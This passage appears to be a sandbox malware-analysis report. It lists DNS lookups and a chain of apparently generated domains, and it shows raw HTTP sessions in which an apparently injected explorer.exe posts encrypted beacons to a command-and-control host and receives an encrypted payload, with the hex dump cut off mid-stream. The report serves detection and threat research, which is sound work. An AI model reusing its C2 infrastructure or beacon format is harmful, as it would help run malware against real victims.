Oct 29, 2021 20:11:32.203031063 CEST	192.168.2.5	8.8.8.8	0x733e	Standard query (0)	znpst.top	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Oct 29, 2021 20:10:11.258455038 CEST	8.8.8.8	192.168.2.5	0x23b3	Name error (3)	xacokuo8.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:11.671344042 CEST	8.8.8.8	192.168.2.5	0x6741	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:11.843478918 CEST	8.8.8.8	192.168.2.5	0x5287	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:12.045677900 CEST	8.8.8.8	192.168.2.5	0xd5fb	No error (0)	privacytoolzforyou-6000.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:15.686341047 CEST	8.8.8.8	192.168.2.5	0x8cc6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:16.168242931 CEST	8.8.8.8	192.168.2.5	0xd1a1	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:31.514676094 CEST	8.8.8.8	192.168.2.5	0xedec	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:31.713120937 CEST	8.8.8.8	192.168.2.5	0xc58e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:31.880048990 CEST	8.8.8.8	192.168.2.5	0x395e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:32.423012972 CEST	8.8.8.8	192.168.2.5	0x8fc	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:32.586476088 CEST	8.8.8.8	192.168.2.5	0xb4f5	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:36.512619019 CEST	8.8.8.8	192.168.2.5	0x94cd	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:36.672538996 CEST	8.8.8.8	192.168.2.5	0x780b	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:36.829308987 CEST	8.8.8.8	192.168.2.5	0xfe85	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:36.994990110 CEST	8.8.8.8	192.168.2.5	0x63e4	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:38.652573109 CEST	8.8.8.8	192.168.2.5	0x7bc4	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:38.652573109 CEST	8.8.8.8	192.168.2.5	0x7bc4	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:38.652573109 CEST	8.8.8.8	192.168.2.5	0x7bc4	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:38.652573109 CEST	8.8.8.8	192.168.2.5	0x7bc4	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:38.652573109 CEST	8.8.8.8	192.168.2.5	0x7bc4	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:40.485739946 CEST	8.8.8.8	192.168.2.5	0xd134	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:40.652132034 CEST	8.8.8.8	192.168.2.5	0xfd08	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:43.602001905 CEST	8.8.8.8	192.168.2.5	0xf755	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:43.602001905 CEST	8.8.8.8	192.168.2.5	0xf755	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:43.602001905 CEST	8.8.8.8	192.168.2.5	0xf755	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:43.602001905 CEST	8.8.8.8	192.168.2.5	0xf755	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:43.602001905 CEST	8.8.8.8	192.168.2.5	0xf755	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:44.589178085 CEST	8.8.8.8	192.168.2.5	0xd49d	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:44.771209955 CEST	8.8.8.8	192.168.2.5	0x6e6b	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:44.941961050 CEST	8.8.8.8	192.168.2.5	0x786e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.220582008 CEST	8.8.8.8	192.168.2.5	0x2bcd	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.438671112 CEST	8.8.8.8	192.168.2.5	0xc3dd	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.601681948 CEST	8.8.8.8	192.168.2.5	0x1da0	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.764193058 CEST	8.8.8.8	192.168.2.5	0x7ec5	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:48.932560921 CEST	8.8.8.8	192.168.2.5	0x8ca9	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:50.758750916 CEST	8.8.8.8	192.168.2.5	0xd045	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:50.930922031 CEST	8.8.8.8	192.168.2.5	0x60de	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:51.099366903 CEST	8.8.8.8	192.168.2.5	0x2c86	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:51.260781050 CEST	8.8.8.8	192.168.2.5	0xe939	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:51.440727949 CEST	8.8.8.8	192.168.2.5	0xc306	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:55.827872038 CEST	8.8.8.8	192.168.2.5	0xac36	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:56.004759073 CEST	8.8.8.8	192.168.2.5	0x2463	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:56.540116072 CEST	8.8.8.8	192.168.2.5	0x16a0	No error (0)	sysaheu90.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:57.758337021 CEST	8.8.8.8	192.168.2.5	0xfe1d	No error (0)	cdn.discordapp.com		162.159.133.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:57.758337021 CEST	8.8.8.8	192.168.2.5	0xfe1d	No error (0)	cdn.discordapp.com		162.159.134.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:57.758337021 CEST	8.8.8.8	192.168.2.5	0xfe1d	No error (0)	cdn.discordapp.com		162.159.130.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:57.758337021 CEST	8.8.8.8	192.168.2.5	0xfe1d	No error (0)	cdn.discordapp.com		162.159.129.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:57.758337021 CEST	8.8.8.8	192.168.2.5	0xfe1d	No error (0)	cdn.discordapp.com		162.159.135.233	A (IP address)	IN (0x0001)
Oct 29, 2021 20:10:59.960449934 CEST	8.8.8.8	192.168.2.5	0xf8aa	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:00.161952019 CEST	8.8.8.8	192.168.2.5	0x55b5	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:00.451416016 CEST	8.8.8.8	192.168.2.5	0x323b	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:00.673628092 CEST	8.8.8.8	192.168.2.5	0xb42e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.006988049 CEST	8.8.8.8	192.168.2.5	0xf23e	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.228509903 CEST	8.8.8.8	192.168.2.5	0x2642	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.439146042 CEST	8.8.8.8	192.168.2.5	0x3f5b	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.631324053 CEST	8.8.8.8	192.168.2.5	0x426	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.806180954 CEST	8.8.8.8	192.168.2.5	0xf54b	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:01.975271940 CEST	8.8.8.8	192.168.2.5	0x2bdd	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:02.133939981 CEST	8.8.8.8	192.168.2.5	0x49da	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:02.306128025 CEST	8.8.8.8	192.168.2.5	0xfde6	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:06.858334064 CEST	8.8.8.8	192.168.2.5	0xef46	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:09.443144083 CEST	8.8.8.8	192.168.2.5	0x5478	No error (0)	hajezey1.top		185.98.87.159	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:10.006409883 CEST	8.8.8.8	192.168.2.5	0x6db5	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:13.249139071 CEST	8.8.8.8	192.168.2.5	0x3696	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:16.392899990 CEST	8.8.8.8	192.168.2.5	0x283c	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:19.543862104 CEST	8.8.8.8	192.168.2.5	0xd35f	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:24.009481907 CEST	8.8.8.8	192.168.2.5	0xa01d	Name error (3)	telegalive.top	none	none	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:24.042779922 CEST	8.8.8.8	192.168.2.5	0x60b4	No error (0)	toptelete.top		172.67.160.46	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:24.042779922 CEST	8.8.8.8	192.168.2.5	0x60b4	No error (0)	toptelete.top		104.21.9.146	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:31.727085114 CEST	8.8.8.8	192.168.2.5	0xa069	No error (0)	nusurtal4f.net		45.141.84.21	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		61.98.7.132	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		222.236.49.124	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		211.168.197.211	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		175.119.10.231	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		109.98.58.98	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		61.98.7.133	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		211.171.233.127	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		84.117.126.4	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		179.52.22.168	A (IP address)	IN (0x0001)
Oct 29, 2021 20:11:32.544063091 CEST	8.8.8.8	192.168.2.5	0x733e	No error (0)	znpst.top		148.255.17.227	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

cdn.discordapp.com

xauocndh.com

hajezey1.top

gurxx.org

privacytoolzforyou-6000.top

ktkcvjuue.com

adlotmsqn.net

edkykp.com

koyxalg.com

hxdci.com

uixmltkfi.net

uqqrnpr.org

ihqsjj.org

civbpqln.com

pqobqf.org

cuuhert.net

cpmovtar.org

csbokajdc.com

adqaqqqe.org

bjcvackirk.com

lylgknghko.net

wexymhl.com

glqydpsa.net

kqbwtkcju.org

mdonp.com

hfxrwj.org

jxvawpr.net

ctbemocusw.net

wofjmrw.com

xdcmurwfts.com

drroxf.net

lqvvicnwkv.com

hmylopjj.org

sysaheu90.top

pvxvmaqhni.net

bhlsdp.net

vexln.com

ukjpg.net

oahqstcrl.org

sowcs.net

yhtqeo.com

wepobp.org

uriot.org

isqhctlhh.net

pbejr.net

ufipchi.com

vlotoun.net

toptelete.top

91.219.236.97

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49804	162.159.130.233	443	C:\Users\user\AppData\Local\Temp\66A4.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49805	162.159.130.233	443	C:\Users\user\AppData\Local\Temp\66A4.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49779	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:31.570542097 CEST	1612	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://edkykp.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 369 Host: hajezey1.top
Oct 29, 2021 20:10:31.570559025 CEST	1613	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9c 66 5d 02 c8 a1 c1 64 2a b7 b1 16 Data Ascii: Mw:xGcDATwmwu$f]d*A`"jYPt_cW%Gt.skd<\`"J<n%<dI2&pceNZ(mg<abNl..j&hFV~5"W5Maj\dS'Z
Oct 29, 2021 20:10:31.649379969 CEST	1615	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49781	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:31.771764040 CEST	1617	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://koyxalg.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 115 Host: hajezey1.top
Oct 29, 2021 20:10:31.771815062 CEST	1617	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9d 66 5d 02 c8 a1 c1 64 22 9a 82 7b Data Ascii: Mw:xGcDATwmwu$f]d"{6I_z-%96ZOC
Oct 29, 2021 20:10:31.847259998 CEST	1619	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:31 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 61 6a 65 7a 65 79 31 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 190<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at hajezey1.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49782	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:31.935556889 CEST	1620	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hxdci.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 332 Host: hajezey1.top
Oct 29, 2021 20:10:31.935580015 CEST	1621	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9a 66 5d 02 c8 a1 c1 64 44 c3 d3 24 Data Ascii: Mw:xGcDATwmwu$f]dD$I&3?iTGnRtFEr(}t+{SJ)$W#MO=R_)0I3C[XVD{,{$5}<.1w$)Rjz7K^0ix%t\Q9bA>
Oct 29, 2021 20:10:32.020942926 CEST	1621	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:31 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49786	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:32.476072073 CEST	1628	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uixmltkfi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 153 Host: hajezey1.top
Oct 29, 2021 20:10:32.476229906 CEST	1628	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 9b 66 5d 02 c8 a1 c1 64 0e 98 81 0e Data Ascii: Mw:xGcDATwmwu$f]d>s]M8".j{kjIt"?a,}Q$]lM~H@gx,`
Oct 29, 2021 20:10:32.554462910 CEST	1629	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49788	185.98.87.159	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Oct 29, 2021 20:10:32.640913010 CEST	1631	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://uqqrnpr.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 313 Host: hajezey1.top
Oct 29, 2021 20:10:32.640933037 CEST	1632	OUT	Data Raw: 10 87 86 98 19 f8 a2 c6 ca 4d 77 3a 78 c2 e1 f3 47 63 de 44 d0 41 1a 9d c2 e7 dd 83 8f a1 e3 f2 10 b6 54 a7 11 1e ca 92 9a d9 f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 98 66 5d 02 c8 a1 c1 64 3f df 80 35 Data Ascii: Mw:xGcDATwmwu$f]d?5Cvw5:ft0Mk$,`<.#+<FPg(`7>'h-N3fIHKSq/\I\|O@;$RulYkKIGLp#YK9
Oct 29, 2021 20:10:32.722615004 CEST	1634	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Fri, 29 Oct 2021 18:10:32 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c d8 21 bd 40 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 67 74 d2 23 9f 87 cd 2b 80 78 51 a1 a2 8f 3c 08 d8 1c e0 32 02 50 08 08 d0 e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1f 27 f4 d2 af 34 91 b4 b9 81 8a 20 59 55 11 5c b8 e6 6e ab 49 11 a0 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 81 ff cc 8a 40 d8 06 0e 45 87 1b 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 30 4d 6b 0e e1 a2 22 48 12 da 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 e2 5f 96 da 19 d1 3a 2d 6e 44 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 2d 77 14 2c d0 e8 b1 14 b9 76 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 e2 49 64 cd 25 5c 8d b7 73 24 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 07 b2 be 34 56 9b 46 76 99 86 11 00 83 32 42 62 6f c9 ae 88 3b 95 36 e1 48 50 67 79 50 b8 81 be e6 81 de e3 75 6d 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 df f2 4a 0b 7d 54 7a 9c 6c 39 c0 a1 0c 5c 19 d6 63 95 be 07 3d da 9a 7e 05 22 7d e6 b2 68 60 b9 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 b8 4e a1 21 7b 88 4b 2e 69 81 77 af 5d c6 83 41 69 2f 14 b6 e8 95 19 6d 76 d6 60 83 70 56 3e 0f 60 7c aa 9f 50 54 0c f3 a6 eb 5a ed 33 bd 8a f1 7a 5b b4 18 20 5e 7a 14 f7 f2 26 2b e9 c4 ef 28 e8 98 eb e7 